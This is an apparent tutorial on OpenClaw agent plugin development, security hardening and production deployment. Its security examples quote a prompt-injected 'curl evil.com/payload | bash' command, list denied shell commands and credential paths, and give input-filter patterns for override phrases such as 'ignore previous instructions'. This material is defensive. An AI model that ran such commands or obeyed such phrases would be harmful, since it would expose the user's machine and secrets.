Skip to content
AyoKoding

Advanced

This tutorial provides 26 advanced examples covering plugin development (Examples 55-61), security hardening (Examples 62-68), production deployment (Examples 69-74), and scaling and monitoring patterns (Examples 75-80).

Plugin Development (Examples 55-61)

Example 55: Plugin Architecture Overview

Plugins extend OpenClaw's capabilities by registering new tools, channels, model providers, or skills. A plugin is a Node.js package with an openclaw-plugin.json manifest declaring its contributions.

%% Color Palette: Blue #0173B2, Orange #DE8F05, Teal #029E73, Purple #CC78BC, Brown #CA9161
graph TD
    A["Plugin Package"]
    B["openclaw-plugin.json<br/>Manifest"]
    C["Tools"]
    D["Channels"]
    E["Model Providers"]
    F["Skills"]
 
    A --> B
    B --> C
    B --> D
    B --> E
    B --> F
 
    style A fill:#0173B2,stroke:#000,color:#fff
    style B fill:#DE8F05,stroke:#000,color:#fff
    style C fill:#029E73,stroke:#000,color:#fff
    style D fill:#CC78BC,stroke:#000,color:#fff
    style E fill:#CA9161,stroke:#000,color:#fff
    style F fill:#0173B2,stroke:#000,color:#fff

Plugin directory structure:

~/.openclaw/workspace/plugins/
└── my-plugin/
    ├── openclaw-plugin.json            # => Plugin manifest (required)
                                   # => Declares: name, version, contributions
    ├── package.json                    # => Node.js package metadata
    ├── src/
   ├── tools/                      # => Custom tool implementations
   └── my-tool.ts              # => TypeScript tool handler
   ├── channels/                   # => Custom channel adapters
   └── providers/                  # => Custom model providers
    └── skills/                         # => Plugin-bundled skills
        └── my-skill/
            └── SKILL.md
// openclaw-plugin.json — Plugin manifest
{
  name: "my-plugin", // => Unique plugin identifier
  version: "1.0.0", // => Semver version
  description: "My custom OpenClaw plugin",
  contributions: {
    tools: ["src/tools/my-tool.ts"], // => Tool implementations to register
    skills: ["skills/"], // => Skill directories to load
  },
}

Key Takeaway: Plugins are Node.js packages with an openclaw-plugin.json manifest. They register tools, channels, model providers, or skills via the contributions field.

Why It Matters: The plugin system is what makes OpenClaw extensible beyond its built-in capabilities. Without plugins, you're limited to the tools the OpenClaw team ships. With plugins, the community builds integrations — database clients, cloud provider CLIs, proprietary API wrappers, custom communication channels — and shares them via ClawHub (5,700+ packages). This ecosystem effect is what transforms OpenClaw from "a chatbot framework" into "an AI agent platform" — the distinction being that platforms grow through community contributions while frameworks grow through core team effort.

Example 56: Creating a Custom Tool Plugin

Build a custom tool that the AI agent can invoke during conversations. Tools are TypeScript functions with a schema defining their parameters and a handler implementing the logic.

// src/tools/weather.ts
import { defineTool } from "openclaw/plugin";
// => Import tool definition helper
// => Provides type safety for tool schema
 
export default defineTool({
  name: "weather", // => Tool name (agent uses this to invoke)
  description: "Get current weather for a location",
  // => Shown to LLM for tool selection
  // => Be specific — LLM uses this to decide
  parameters: {
    type: "object", // => JSON Schema for parameters
    properties: {
      location: {
        type: "string", // => Location name or coordinates
        description: "City name or lat,lon coordinates",
      },
      units: {
        type: "string",
        enum: ["celsius", "fahrenheit"], // => Restricted to valid values
        default: "celsius", // => Default if not specified
      },
    },
    required: ["location"], // => location is mandatory
  },
 
  async handler({ location, units }) {
    // => Tool execution function
    // => Receives validated parameters
    const response = await fetch(`https://wttr.in/${encodeURIComponent(location)}?format=j1`); // => Fetch weather data from API
    const data = await response.json(); // => Parse JSON response
    const temp = data.current_condition[0];
    const tempValue =
      units === "fahrenheit"
        ? temp.temp_F // => Fahrenheit if requested
        : temp.temp_C; // => Celsius (default)
 
    return {
      location,
      temperature: `${tempValue}°${units === "fahrenheit" ? "F" : "C"}`,
      description: temp.weatherDesc[0].value,
      humidity: `${temp.humidity}%`,
    }; // => Return structured data to agent
    // => Agent formats this for the user
  },
});
// openclaw-plugin.json
{
  name: "weather-plugin",
  version: "1.0.0",
  contributions: {
    tools: ["src/tools/weather.ts"], // => Register weather tool
  },
}
# After installing plugin:
# In conversation with agent:
You: What's the weather in Tokyo?
                                        # => Agent selects weather tool
                                        # => Tool: weather({ location: "Tokyo", units: "celsius" })
                                        # => Returns: { temperature: "22°C", description: "Sunny" }
                                        # => Agent: "It's 22°C and sunny in Tokyo."

Key Takeaway: Custom tools use defineTool with a JSON Schema for parameters and an async handler function. The LLM uses the tool's description to decide when to invoke it.

Why It Matters: Custom tools bridge the gap between what LLMs know and what your organization needs. The built-in web_fetch could retrieve weather data, but a dedicated weather tool provides structured output, handles API authentication, and presents data consistently. For enterprise use cases — querying internal databases, calling proprietary APIs, interacting with custom infrastructure — custom tools are the integration layer. Each tool is a capability the agent gains, and the JSON Schema parameters mean the LLM can invoke tools correctly without you parsing natural language into API calls manually.

Example 57: Creating a Custom Channel Plugin

Build a custom channel adapter to connect OpenClaw to messaging platforms not supported out-of-the-box. Channels implement a standard interface for receiving and sending messages.

// src/channels/custom-webhook.ts
import { defineChannel } from "openclaw/plugin";
// => Import channel definition helper
 
export default defineChannel({
  name: "custom-webhook", // => Channel identifier in config
  description: "Receives messages via HTTP webhook and responds",
 
  config: {
    port: { type: "number", default: 9090 },
    // => Config schema for openclaw.json
    path: { type: "string", default: "/webhook" },
    secret: { type: "string" }, // => Webhook signing secret
  },
 
  async setup(config, gateway) {
    // => Called when gateway starts
    // => config: resolved values from openclaw.json
    // => gateway: API for sending messages
    const express = await import("express");
    const app = express.default();
    app.use(express.json());
 
    app.post(config.path, async (req, res) => {
      // => Receive incoming webhook
      const { message, userId } = req.body;
 
      const response = await gateway.handleMessage({
        channel: "custom-webhook", // => Identify source channel
        userId, // => Identify sender
        content: message, // => Message text
      }); // => Gateway routes to LLM and returns response
 
      res.json({ reply: response.content });
      // => Send LLM response back via HTTP
    });
 
    app.listen(config.port, () => {
      console.log(`Webhook channel listening on :${config.port}${config.path}`);
    }); // => Start HTTP server for incoming webhooks
  },
});
// openclaw.json — Configure custom channel
{
  channels: {
    "custom-webhook": {
      enabled: true,
      port: 9090, // => HTTP server port
      path: "/webhook", // => Webhook endpoint path
      secret: "${WEBHOOK_SECRET}", // => Signing secret from env
    },
  },
}

Key Takeaway: Custom channels implement defineChannel with a config schema and a setup function. The gateway.handleMessage API routes incoming messages to the LLM and returns responses.

Why It Matters: Not every communication platform has a pre-built channel. Internal tools (ticketing systems, monitoring dashboards, custom chat apps) need custom integration. The channel interface abstracts away OpenClaw's internals — your adapter only handles transport (receive message, send reply), while the gateway handles LLM routing, session management, and tool execution. This separation means you can add a new communication platform in ~50 lines of TypeScript without understanding the gateway's WebSocket protocol, model failover logic, or skill system.

Example 58: Installing Plugins from ClawHub

ClawHub is OpenClaw's community plugin marketplace with 5,700+ packages. Install plugins with a single command — similar to npm packages but scoped to your OpenClaw workspace.

openclaw plugins install @clawhub/weather
                                        # => Downloads from ClawHub registry
                                        # => Installs to ~/.openclaw/workspace/plugins/
                                        # => Registers tools/channels/skills
                                        # => Output: "Installed @clawhub/weather v2.1.0"
 
openclaw plugins install @clawhub/jira-integration
                                        # => Installs Jira tool plugin
                                        # => Adds: jira_search, jira_create, jira_update tools
 
openclaw plugins list                   # => Lists installed plugins
                                        # => Output: name, version, contributions
 
openclaw plugins update                 # => Updates all plugins to latest versions
 
openclaw plugins remove @clawhub/weather
                                        # => Uninstalls plugin
                                        # => Removes registered tools/channels/skills

Key Takeaway: Install community plugins with openclaw plugins install @clawhub/<name>. Use list, update, and remove for lifecycle management.

Why It Matters: Building every integration from scratch is unsustainable — the long tail of services (Jira, Notion, Linear, Datadog, PagerDuty, AWS, GCP) means no single team can maintain all integrations. ClawHub's community model distributes this effort: someone builds a Jira plugin once, thousands use it. The install command handles dependency resolution, version compatibility, and tool registration automatically. For teams, this means going from "we need AI-assisted Jira management" to working integration in one command instead of a multi-day development effort.

Example 59: Plugin Configuration Validation

Plugins can define configuration schemas that are validated when the gateway starts. This prevents runtime errors from misconfigured plugins.

// src/index.ts
import { definePlugin } from "openclaw/plugin";
// => Top-level plugin definition
 
export default definePlugin({
  name: "database-tools",
  version: "1.0.0",
 
  config: {
    connectionString: {
      type: "string", // => Database connection URL
      required: true, // => Plugin refuses to load without this
      validate: (value) => {
        // => Custom validation function
        if (!value.startsWith("postgres://") && !value.startsWith("mysql://")) {
          return "Connection string must start with postgres:// or mysql://";
        } // => Returns error message or undefined (valid)
        return undefined;
      },
    },
    maxConnections: {
      type: "number",
      default: 10, // => Default pool size
      validate: (value) => {
        if (value < 1 || value > 100) {
          return "maxConnections must be between 1 and 100";
        }
        return undefined;
      },
    },
    readOnly: {
      type: "boolean",
      default: true, // => Safe default: read-only access
    },
  },
 
  contributions: {
    tools: ["src/tools/db-query.ts"],
  },
});
// openclaw.json — Plugin configuration
{
  plugins: {
    "database-tools": {
      connectionString: "${DATABASE_URL}",
      // => Resolved from environment
      maxConnections: 20, // => Override default pool size
      readOnly: false, // => Enable writes (explicitly opted in)
    },
  },
}

Key Takeaway: Plugins define config schemas with types, defaults, required flags, and custom validators. Gateway validates config at startup, failing fast on misconfigurations.

Why It Matters: Runtime configuration errors are the hardest to debug — the plugin loads, seems to work, then fails 3 hours later when a specific code path hits the misconfigured value. Schema validation catches errors at startup: "connectionString must start with postgres://" is immediately actionable, while "ECONNREFUSED" at 3 AM requires investigation. The readOnly: true default implements safe-by-default: plugins that access databases default to read-only, requiring explicit opt-in for write access. This prevents the "I installed a plugin and it accidentally deleted data" scenario.

Example 60: Plugin Testing

Test plugins locally before publishing. OpenClaw provides a test harness that simulates the gateway environment with mocked channels and controlled tool execution.

// tests/weather-tool.test.ts
import { testTool } from "openclaw/testing";
// => Import test harness
import weatherTool from "../src/tools/weather";
 
describe("weather tool", () => {
  it("returns temperature for valid location", async () => {
    const result = await testTool(weatherTool, {
      params: {
        location: "Tokyo", // => Test with specific location
        units: "celsius", // => Test with specific units
      },
      mocks: {
        fetch: async () => ({
          // => Mock external API call
          json: async () => ({
            current_condition: [
              {
                temp_C: "22",
                temp_F: "72",
                weatherDesc: [{ value: "Sunny" }],
                humidity: "45",
              },
            ],
          }),
        }),
      },
    }); // => Execute tool with mocked dependencies
 
    expect(result.temperature).toBe("22°C");
    expect(result.description).toBe("Sunny");
    expect(result.humidity).toBe("45%");
  }); // => Validate structured output
 
  it("handles API failure gracefully", async () => {
    const result = await testTool(weatherTool, {
      params: { location: "InvalidPlace" },
      mocks: {
        fetch: async () => {
          throw new Error("Network error");
        },
      },
    });
 
    expect(result.error).toBeDefined();
    expect(result.error).toContain("Network error");
  }); // => Verify error handling
});
cd ~/.openclaw/workspace/plugins/weather-plugin/
npm test                                # => Runs plugin test suite
                                        # => Tests execute in isolated environment
                                        # => No gateway or API keys required
                                        # => Output: test results with pass/fail

Key Takeaway: Use openclaw/testing harness with testTool helper to test plugins in isolation. Mock external dependencies (fetch, databases) for deterministic tests.

Why It Matters: Untested plugins fail in production — a weather tool that works for "Tokyo" might crash on "São Paulo" (Unicode in URL). The test harness enables testing without a running gateway, API keys, or network access: mock the external API, verify the output structure, and test error handling. This testing infrastructure is what separates hobbyist plugins from production-grade ones. ClawHub's top-rated plugins have 90%+ test coverage, and the community learned (through outage postmortems) that untested plugins are the leading cause of gateway crashes.

Example 61: Publishing Plugins to ClawHub

Package and publish your plugin to ClawHub for community use. Publishing requires a ClawHub account and follows semantic versioning.

# Prepare for publishing
cd ~/.openclaw/workspace/plugins/my-plugin/
 
# Verify plugin structure
openclaw plugins validate               # => Checks: manifest, dependencies, tests
                                        # => Output: validation results
                                        # => Must pass before publishing
 
# Login to ClawHub
openclaw plugins login                  # => Authenticates with ClawHub account
                                        # => Stores token locally
 
# Publish
openclaw plugins publish                # => Packages and uploads to ClawHub
                                        # => Version from openclaw-plugin.json
                                        # => Output: "Published my-plugin@1.0.0"
 
# Publish with tag
openclaw plugins publish --tag beta     # => Publishes as beta release
                                        # => Install with: openclaw plugins install my-plugin@beta

Key Takeaway: Validate with openclaw plugins validate, then publish with openclaw plugins publish. Use --tag for pre-release versions.

Why It Matters: Publishing to ClawHub transforms a local solution into a community resource. The validation step prevents broken plugins from reaching users — it checks manifest correctness, runs tests, verifies dependencies, and scans for common security issues (hardcoded secrets, unrestricted file access). Semantic versioning ensures consumers can pin to compatible versions. The ecosystem benefit is compounding: each published plugin saves hundreds of developers from reimplementing the same integration, and plugin authors get community bug reports and contributions that improve quality beyond what a single team achieves.

Security Hardening (Examples 62-68)

Example 62: Sandboxed exec with Command Allowlists

Restrict the exec tool to specific commands instead of allowing arbitrary shell execution. This is the most critical security control for production deployments.

// ~/.openclaw/openclaw.json
{
  tools: {
    allow: ["exec"],
    exec: {
      sandbox: true, // => Enable execution sandbox
      allowCommands: [
        "git status", // => Allow specific git commands
        "git log",
        "git diff",
        "npm run lint", // => Allow specific npm scripts
        "npm run test",
        "docker ps", // => Allow container listing
        "docker logs *", // => Allow reading container logs
        // => Wildcard: any container name
        "ls *", // => Allow directory listing
        "cat *", // => Allow file reading
      ],
      denyCommands: [
        "rm *", // => Block all rm commands
        "sudo *", // => Block privilege escalation
        "curl * | *", // => Block piped downloads
        "chmod *", // => Block permission changes
        "chown *", // => Block ownership changes
      ],
      maxExecutionTime: 30000, // => Kill commands after 30 seconds
      // => Prevents infinite loops
      workingDirectory: "/home/user/projects",
      // => Restrict to specific directory
      // => Commands cannot escape this path
    },
  },
}

Key Takeaway: Enable exec.sandbox with allowCommands (whitelist) and denyCommands (blacklist) to restrict shell access. Set maxExecutionTime and workingDirectory for additional boundaries.

Why It Matters: Unrestricted exec is equivalent to giving your LLM API key holder SSH access to your machine. A prompt injection attack in a Telegram message could trigger exec("curl evil.com/payload | bash"). Command allowlists reduce the attack surface to a known set of safe operations. The denyCommands catches attempts to circumvent the allowlist (encoding tricks, alternative binaries). Combined with workingDirectory restriction, even allowed commands like cat * can only access files in the project directory, not /etc/passwd or ~/.ssh/id_rsa.

Example 63: Filesystem Sandboxing

Restrict file operation tools (read, write, edit) to specific directories. Prevents the agent from accessing sensitive files outside the designated workspace.

// ~/.openclaw/openclaw.json
{
  tools: {
    allow: ["group:fs"],
    fs: {
      allowPaths: [
        "~/projects/**", // => Allow access to projects directory
        // => ** means recursive subdirectories
        "~/.openclaw/workspace/**", // => Allow workspace access
      ],
      denyPaths: [
        "~/.ssh/**", // => Block SSH keys
        "~/.gnupg/**", // => Block GPG keys
        "~/.aws/**", // => Block AWS credentials
        "**/.env", // => Block all .env files anywhere
        "**/.env.*", // => Block .env.local, .env.production
        "**/secrets/**", // => Block any secrets directory
      ],
      readOnly: [
        "~/projects/**/node_modules/**", // => Allow reading but not writing
        // => Prevents accidental package modification
        "~/projects/**/.git/**", // => Allow reading git data, not writing
      ],
    },
  },
}

Key Takeaway: Use fs.allowPaths for directory whitelist, fs.denyPaths for sensitive file blacklist, and fs.readOnly for read-but-no-write restrictions. Glob patterns supported.

Why It Matters: AI agents reading .env files is the most common accidental secret exposure — the agent reads .env to "understand the project config," then includes database credentials in a conversation response visible on Telegram. Filesystem sandboxing prevents this at the tool level: even if the agent is instructed to "read all config files," the deny list blocks .env, .ssh, and .aws before the file system is touched. The readOnly policy for node_modules and .git prevents another class of accidents: the agent "helpfully" modifying a dependency or corrupting git history.

Example 64: API Key Rotation and Secret Management

Securely manage API keys with rotation patterns. Environment variables keep secrets out of config, and rotation scripts update keys without gateway downtime.

# Pattern 1: Shell profile (simplest)
# ~/.zshrc or ~/.bashrc
export ANTHROPIC_API_KEY="sk-ant-current-key"
                                        # => Loaded on shell start
                                        # => Rotation: edit profile, restart gateway
 
# Pattern 2: Secret manager integration
# Use a script that fetches from secret manager
cat > ~/.openclaw/load-secrets.sh << 'SCRIPT'
#!/bin/bash
export ANTHROPIC_API_KEY=$(aws secretsmanager get-secret-value \
  --secret-id openclaw/anthropic --query SecretString --output text)
export OPENAI_API_KEY=$(aws secretsmanager get-secret-value \
  --secret-id openclaw/openai --query SecretString --output text)
SCRIPT
                                        # => Fetches secrets from AWS Secrets Manager
                                        # => Rotation: update in AWS, restart gateway
 
chmod +x ~/.openclaw/load-secrets.sh
source ~/.openclaw/load-secrets.sh && openclaw gateway restart
                                        # => Load secrets and restart in one command
                                        # => Gateway resolves fresh env vars
// openclaw.json — Reference env vars (never hardcode keys)
{
  providers: {
    anthropic: {
      apiKey: "${ANTHROPIC_API_KEY}", // => Resolved at gateway start
      // => NEVER: apiKey: "sk-ant-actual-key"
    },
  },
}

Key Takeaway: Never hardcode API keys in openclaw.json. Use environment variables, source from secret managers, and restart the gateway after rotation.

Why It Matters: API keys in config files persist in git history, backup files, disk snapshots, and memory dumps. Even deleting the key and recommitting leaves it in git log — anyone with repository access can extract historical secrets. Environment variables loaded from secret managers solve multiple problems: keys are never written to disk, rotation happens centrally (update secret manager, restart gateway), and access is auditable (secret manager logs who retrieved which key when). For teams, this prevents the "someone committed the API key to GitHub" incident that costs organizations thousands in compromised account charges.

Example 65: Channel-Specific Tool Restrictions

Apply different tool permissions per channel. Public-facing channels get restricted tools, while private admin channels get full access.

// ~/.openclaw/openclaw.json
{
  // Global defaults (most restrictive)
  tools: {
    allow: ["web_search"], // => Base: only web search
    deny: ["exec", "group:fs", "browser"],
  },
 
  channels: {
    // Public Discord bot — minimal tools
    discord: {
      enabled: true,
      botToken: "${DISCORD_BOT_TOKEN}",
      tools: {
        allow: ["web_search", "web_fetch"],
        // => Read-only web tools
        // => No file access, no exec
      },
    },
 
    // Team Slack — moderate tools
    slack: {
      enabled: true,
      botToken: "${SLACK_BOT_TOKEN}",
      appToken: "${SLACK_APP_TOKEN}",
      tools: {
        allow: ["web_search", "web_fetch", "group:fs"],
        // => Web + file access
        // => No exec (team agreement)
      },
    },
 
    // Admin Telegram — full access (owner only)
    telegram: {
      enabled: true,
      botToken: "${TELEGRAM_BOT_TOKEN}",
      allowFrom: ["tg:OWNER_ID"], // => Single user whitelist
      tools: {
        allow: ["web_search", "web_fetch", "group:fs", "exec", "browser"],
        // => Full tool access
        // => Only for verified owner
      },
    },
  },
}

Key Takeaway: Set tools inside channel config to override global permissions. Layer from most restrictive (global) to least restrictive (admin channel). Always pair elevated access with strict user whitelisting.

Why It Matters: Flat tool permissions create an impossible choice: deny exec and cripple the admin, or allow exec and expose it to all channels. Per-channel tool restrictions resolve this by matching permissions to trust level. The Discord bot serving a public community only needs search — giving it exec means any community member's prompt injection could execute shell commands. The admin Telegram channel, restricted to one verified user, safely enables full access. This layered model follows the principle of least privilege applied to AI tool access.

Example 66: Rate Limiting and Cost Controls

Prevent runaway LLM costs with per-user, per-channel, and global rate limits. Essential for any deployment where unauthorized or excessive usage can generate unexpected bills.

// ~/.openclaw/openclaw.json
{
  rateLimit: {
    global: {
      maxRequestsPerMinute: 60, // => Gateway-wide rate limit
      // => All channels combined
      maxTokensPerHour: 500000, // => Total token budget per hour
      // => Prevents cost spikes
      maxCostPerDay: 50.0, // => Dollar amount cap (USD)
      // => Gateway pauses when reached
    },
    perUser: {
      maxRequestsPerMinute: 10, // => Per-user rate limit
      // => Prevents single user monopolizing
      maxTokensPerHour: 50000, // => Per-user token budget
    },
    perChannel: {
      telegram: {
        maxRequestsPerMinute: 20, // => Telegram-specific limit
      },
      discord: {
        maxRequestsPerMinute: 30, // => Discord allows higher volume
        // => Community channel, more users
      },
    },
  },
}

Key Takeaway: Set rate limits at global, per-user, and per-channel levels. Use maxCostPerDay as a hard dollar-amount safety cap.

Why It Matters: An agent with unlimited access to GPT-4 or Claude can consume thousands of dollars in hours. Common scenarios: a Telegram user asks the agent to "keep trying until it works" (infinite retry loop), a prompt injection triggers expensive Opus-level reasoning on every message, or a misbehaving skill calls the LLM in a loop. Rate limits are the financial firewall: maxCostPerDay: 50.00 means the worst case is a 50day,nota50 day, not a 5,000 weekend. The per-user limit prevents the "one user consumed the entire team's budget" problem, and per-channel limits ensure a busy Discord community doesn't starve the admin Telegram channel.

Example 67: Audit Logging

Enable comprehensive audit logs tracking every tool invocation, message, and configuration change. Essential for compliance, debugging, and security monitoring.

// ~/.openclaw/openclaw.json
{
  logging: {
    level: "info", // => Log level: debug, info, warn, error
    audit: {
      enabled: true, // => Enable audit trail
      path: "~/.openclaw/audit/", // => Audit log directory
      retention: "90d", // => Keep logs for 90 days
      events: [
        "tool.invoke", // => Log every tool call
        "tool.result", // => Log tool results
        "message.received", // => Log incoming messages
        "message.sent", // => Log outgoing messages
        "session.create", // => Log session lifecycle
        "session.clear",
        "config.change", // => Log configuration changes
        "plugin.install", // => Log plugin installations
      ],
    },
    format: "json", // => Structured JSON logs
    // => Parseable by ELK, Datadog, Splunk
  },
}
# View audit logs
ls ~/.openclaw/audit/                   # => Output: dated log files
                                        # => Format: audit-YYYY-MM-DD.jsonl
 
# Search for specific tool invocations
cat ~/.openclaw/audit/audit-2026-04-13.jsonl | jq 'select(.event == "tool.invoke")'
                                        # => Shows all tool calls today
                                        # => Fields: timestamp, user, channel, tool, params
 
# Search for exec commands specifically
cat ~/.openclaw/audit/audit-2026-04-13.jsonl | jq 'select(.tool == "exec")'
                                        # => Critical: shows every shell command executed
                                        # => Security review: was anything unexpected run?

Key Takeaway: Enable logging.audit with specific event types. Audit logs are JSONL files (one JSON object per line) stored in dated files with configurable retention.

Why It Matters: "What did the AI do at 3 AM?" Without audit logs, the answer is "nobody knows." With them, every tool invocation, message exchange, and configuration change is recorded with timestamps, user IDs, and channel context. For regulated industries (finance, healthcare, legal), audit trails are compliance requirements — HIPAA, SOC 2, and GDPR all mandate activity logging for systems processing user data. For security, audit logs reveal prompt injection attempts (unusual tool invocations), unauthorized access (messages from unknown users), and data exfiltration attempts (large file reads or web_fetch to external URLs).

Example 68: Content Filtering and Safety

Configure content filters to prevent the agent from processing or generating harmful content. Filters operate on both input (user messages) and output (agent responses).

// ~/.openclaw/openclaw.json
{
  safety: {
    inputFilters: {
      enabled: true, // => Filter incoming messages
      blockPatterns: [
        "ignore previous instructions", // => Common prompt injection pattern
        "system prompt", // => Prompt extraction attempt
        "act as.*unrestricted", // => Jailbreak pattern
      ],
      maxInputLength: 10000, // => Reject messages over 10K chars
      // => Prevents context stuffing attacks
    },
    outputFilters: {
      enabled: true, // => Filter outgoing responses
      redactPatterns: [
        "sk-[a-zA-Z0-9]{20,}", // => Redact OpenAI-format API keys
        "sk-ant-[a-zA-Z0-9]{20,}", // => Redact Anthropic API keys
        "[0-9]{3}-[0-9]{2}-[0-9]{4}", // => Redact SSN patterns
      ],
      redactReplacement: "[REDACTED]", // => Replace matched patterns
    },
    toolSafety: {
      requireApproval: ["exec"], // => Require human approval before exec
      // => Agent asks: "May I run this command?"
      logDeniedTools: true, // => Log when tools are blocked
    },
  },
}

Key Takeaway: Enable safety.inputFilters to block prompt injections, safety.outputFilters to redact secrets in responses, and safety.toolSafety to require approval for dangerous tools.

Why It Matters: LLMs are vulnerable to prompt injection — a crafted message in Telegram can trick the agent into ignoring its instructions, revealing system prompts, or executing unintended commands. Input filters catch common attack patterns before they reach the LLM. Output filters catch secret leakage — if the agent reads a .env file (past the filesystem sandbox) or generates a response containing an API key pattern, the output filter redacts it before sending to the channel. Together, these filters implement the security principle of "never trust input, always sanitize output" applied to AI agent communication.

Production Deployment (Examples 69-74)

Example 69: Daemon Management

The OpenClaw daemon runs the gateway as a background system service. It handles automatic restarts, log rotation, and boot-time startup.

# Install daemon (one-time setup)
openclaw onboard --install-daemon       # => Registers system service
                                        # => macOS: launchd plist
                                        # => Linux: systemd unit file
 
# Daemon control
openclaw daemon status                  # => Shows: running/stopped, PID, uptime
                                        # => Shows: last restart reason
                                        # => Output: "Daemon running (PID 12345, uptime: 3d 5h)"
 
openclaw daemon start                   # => Start daemon if stopped
openclaw daemon stop                    # => Stop daemon gracefully
openclaw daemon restart                 # => Stop + start (reloads config)
 
# View daemon logs
openclaw daemon logs                    # => Tail daemon output
                                        # => Shows: gateway messages, channel events
openclaw daemon logs --follow           # => Stream logs in real-time (like tail -f)
openclaw daemon logs --since 1h         # => Show logs from last hour

Key Takeaway: Use openclaw daemon commands to manage the background gateway service. The daemon auto-restarts on crashes and starts on system boot.

Why It Matters: Running openclaw gateway start in a terminal session means the gateway dies when you close the terminal, SSH disconnects, or the machine reboots. The daemon solves this — it's a system service (launchd on macOS, systemd on Linux) that persists across terminal sessions, auto-restarts on crashes, and starts at boot. For an AI assistant that needs to be "always on" (processing Telegram messages at 3 AM, running scheduled cron skills), daemon deployment is the baseline reliability requirement. Without it, every machine reboot requires manual intervention.

Example 70: Health Check Endpoints

The gateway exposes HTTP health check endpoints for monitoring systems. Configure these for load balancer probes, uptime monitoring, and alerting.

// ~/.openclaw/openclaw.json
{
  gateway: {
    healthCheck: {
      enabled: true, // => Expose health endpoints
      port: 18790, // => HTTP port (separate from WebSocket)
      path: "/health", // => Health check endpoint
    },
  },
}
curl http://localhost:18790/health      # => Returns health status
                                        # => Output: { "status": "healthy", "uptime": 12345,
                                        # =>   "channels": { "telegram": "connected", "slack": "connected" },
                                        # =>   "providers": { "anthropic": "reachable" },
                                        # =>   "sessions": 5 }
 
curl http://localhost:18790/health/ready # => Readiness check
                                        # => 200 if gateway ready to process messages
                                        # => 503 if still initializing
 
curl http://localhost:18790/health/live  # => Liveness check
                                        # => 200 if process alive
                                        # => Used by orchestrators for restart decisions

Key Takeaway: Enable gateway.healthCheck for HTTP health endpoints. Use /health for detailed status, /health/ready for readiness probes, and /health/live for liveness probes.

Why It Matters: "Is the bot working?" is the most common question when responses stop. Without health endpoints, answering requires SSH'ing into the machine, checking process lists, and reading logs. With health endpoints, monitoring systems (Uptime Robot, Datadog, Prometheus) automatically detect issues and alert before users notice. The readiness/liveness split follows Kubernetes conventions: liveness tells the orchestrator "restart this if it returns 503," while readiness tells the load balancer "don't send traffic until this returns 200." Even single-machine deployments benefit — a cron job hitting /health every minute detects issues within 60 seconds.

Example 71: Multi-Environment Configuration

Manage separate configurations for development, staging, and production environments. Each environment has its own config file, API keys, and channel setup.

# Directory structure
~/.openclaw/
├── openclaw.json                       # => Default (development) config
├── openclaw.staging.json               # => Staging overrides
├── openclaw.production.json            # => Production overrides
└── workspace/
 
# Start with environment-specific config
OPENCLAW_ENV=staging openclaw gateway start
                                        # => Loads: openclaw.json + openclaw.staging.json
                                        # => Staging values override defaults
                                        # => Staging API keys, staging channels
 
OPENCLAW_ENV=production openclaw gateway start
                                        # => Loads: openclaw.json + openclaw.production.json
                                        # => Production values override defaults
// openclaw.json — Base config (all environments)
{
  agents: {
    defaults: {
      model: { primary: "anthropic/claude-haiku-4-5" },
                                        // => Cheap default for development
    },
  },
  tools: {
    allow: ["group:fs", "web_search", "exec"],
  },
}
 
// openclaw.production.json — Production overrides
{
  agents: {
    defaults: {
      model: { primary: "anthropic/claude-sonnet-4-6" },
                                        // => Better model for production
    },
  },
  tools: {
    deny: ["exec"],                     // => No shell access in production
  },
  rateLimit: {
    global: { maxCostPerDay: 100.00 },  // => Cost cap for production
  },
}

Key Takeaway: Use OPENCLAW_ENV to load environment-specific config overlays. Base config sets defaults, environment files override specific values.

Why It Matters: Development, staging, and production have fundamentally different requirements: development needs cheap models and full tool access for experimentation; production needs reliable models, restricted tools, and cost controls. Without multi-environment configs, teams either maintain entirely separate config files (duplication, drift) or use the same config everywhere (production tool restrictions block development). The overlay pattern — base + environment-specific overrides — mirrors how tools like Docker Compose (docker-compose.override.yml) and Terraform (.tfvars per environment) handle the same challenge.

Example 72: Backup and Restore

Back up your OpenClaw configuration, skills, and session data. Essential for disaster recovery and machine migration.

# Full backup (config + skills + sessions + plugins)
openclaw backup create                  # => Creates timestamped backup archive
                                        # => Output: "Backup created: ~/.openclaw/backups/2026-04-13T10-30.tar.gz"
                                        # => Includes: openclaw.json, workspace/, plugins/
 
openclaw backup create --exclude-sessions
                                        # => Backup without session history
                                        # => Smaller archive, privacy-friendly
                                        # => Skills and config only
 
# List backups
openclaw backup list                    # => Shows available backups with timestamps
                                        # => Output: date, size, contents summary
 
# Restore from backup
openclaw backup restore ~/.openclaw/backups/2026-04-13T10-30.tar.gz
                                        # => Restores all backed-up files
                                        # => Preserves current config as .bak
                                        # => Output: "Restored from backup. Restart gateway."
 
# Manual backup (shell alternative)
tar czf openclaw-backup-$(date +%Y%m%d).tar.gz \
  ~/.openclaw/openclaw.json \
  ~/.openclaw/workspace/skills/ \
  ~/.openclaw/workspace/plugins/
                                        # => Manual tar backup
                                        # => Selective: config + skills + plugins only
                                        # => Excludes sessions (privacy)

Key Takeaway: Use openclaw backup create for automated backups and openclaw backup restore for recovery. Exclude sessions for privacy-friendly backups.

Why It Matters: Skills represent days or weeks of refinement — a SKILL.md that perfectly handles incident response was iterated through dozens of real incidents. Losing that to a disk failure or accidental rm -rf is painful. Automated backups with retention policies prevent data loss. The --exclude-sessions flag addresses privacy: session history contains user conversations that might include sensitive data; excluding it from backups prevents accidental data exposure through backup archives stored on shared drives or cloud storage.

Example 73: Updating OpenClaw

Update OpenClaw to the latest version with controlled rollout. Supports stable, beta, and development release channels.

# Check current version
openclaw --version                      # => Output: openclaw 2.4.1
                                        # => Shows installed version
 
# Check for updates
openclaw update --check                 # => Checks registry for newer version
                                        # => Output: "Update available: 2.5.0 (current: 2.4.1)"
                                        # => Does NOT install — just checks
 
# Update to latest stable
openclaw update                         # => Downloads and installs latest stable
                                        # => Restarts daemon automatically
                                        # => Output: "Updated to 2.5.0. Daemon restarted."
 
# Switch release channels
openclaw update --channel beta          # => Switch to beta releases
                                        # => Get features 2-4 weeks before stable
openclaw update --channel stable        # => Switch back to stable
openclaw update --channel dev           # => Bleeding edge (may break)

Key Takeaway: Use openclaw update --check to preview, openclaw update to install latest stable, and --channel to switch between stable/beta/dev release channels.

